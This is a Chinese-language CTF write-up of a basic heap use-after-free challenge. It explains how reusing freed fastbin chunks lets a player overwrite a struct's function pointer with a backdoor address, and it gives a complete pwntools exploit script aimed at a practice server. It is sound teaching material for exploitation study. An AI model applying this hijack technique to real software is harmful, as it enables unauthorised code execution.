一篇裸的、便于学习UAF的题目和笔记
前言
UAF-释放后重用,这一题和wiki上教学的那一题一样,是纯的裸UAF题目
一、题目
二、分析
题目中del函数,在释放申请的堆块后,并没有将置零,存在UAF漏洞。
分析add函数:
- 申请大小为0x10mem(0x20chunk)的堆块,用作存储girlfriend结构体
- 结构体有两个成员,一个是函数指针,正常来说指向print_name函数;一个是name字符串指针,由我们指定大小分配的堆块存储
很明显有后门函数存在,如果我们能将结构体的第一个函数指针劫持为后门函数,即可轻松getshell。那么怎么实现呢?
申请两个如下的结构体
free掉1和2
试想一下:如果我们再次申请一个girlfriend3,name申请的memery大小为0x10(0x20chunk),那么会发生什么?
是的,fastbin中girlfriend2结构体对应的堆块会被分作girlfriend3,girlfriend1结构体对应的堆块会被分作name3字符串的空间。——此时我们还保留着gf1和2的两个结构体指针,而name字段我们是可以修改的——我们就可以修改girlfriend2的函数指针部分了!然后用仍然保有的结构体指针调用该函数,实现劫持!
三、exp
from pwn import *
context(arch='amd64',log_level='debug')
io=process('./pwn')
io=remote('node4.anna.nssctf.cn',xxxxx)
def DEL(index):
io.recvuntil(b'Your choice :')
io.sendline(b'2')
io.recvuntil(b'Index :')
io.sendline(str(index).encode())
def PRINT(index):
io.recvuntil(b'Your choice :')
io.sendline(b'3')
io.recvuntil(b'Index :')
io.sendline(str(index).encode())
def ADD(name_size,name):
io.recvuntil(b'Your choice :')
io.sendline(b'1')
io.recvuntil(b'Her name size is :')
io.sendline(str(name_size).encode())
io.recvuntil(b'Her name is :')
io.sendline(name)
# io.recvuntil(b'Success !Wow YDS get a girlfriend!\n')
backdoor=0x400B9C
ADD(0x10,b'gf1')
ADD(0x20,b'gf2')
DEL(0)
DEL(1)
ADD(0x10,p64(backdoor))
PRINT(0)
io.interactive()
总结
初步涉猎heap,对于典型的漏洞利用,多加记载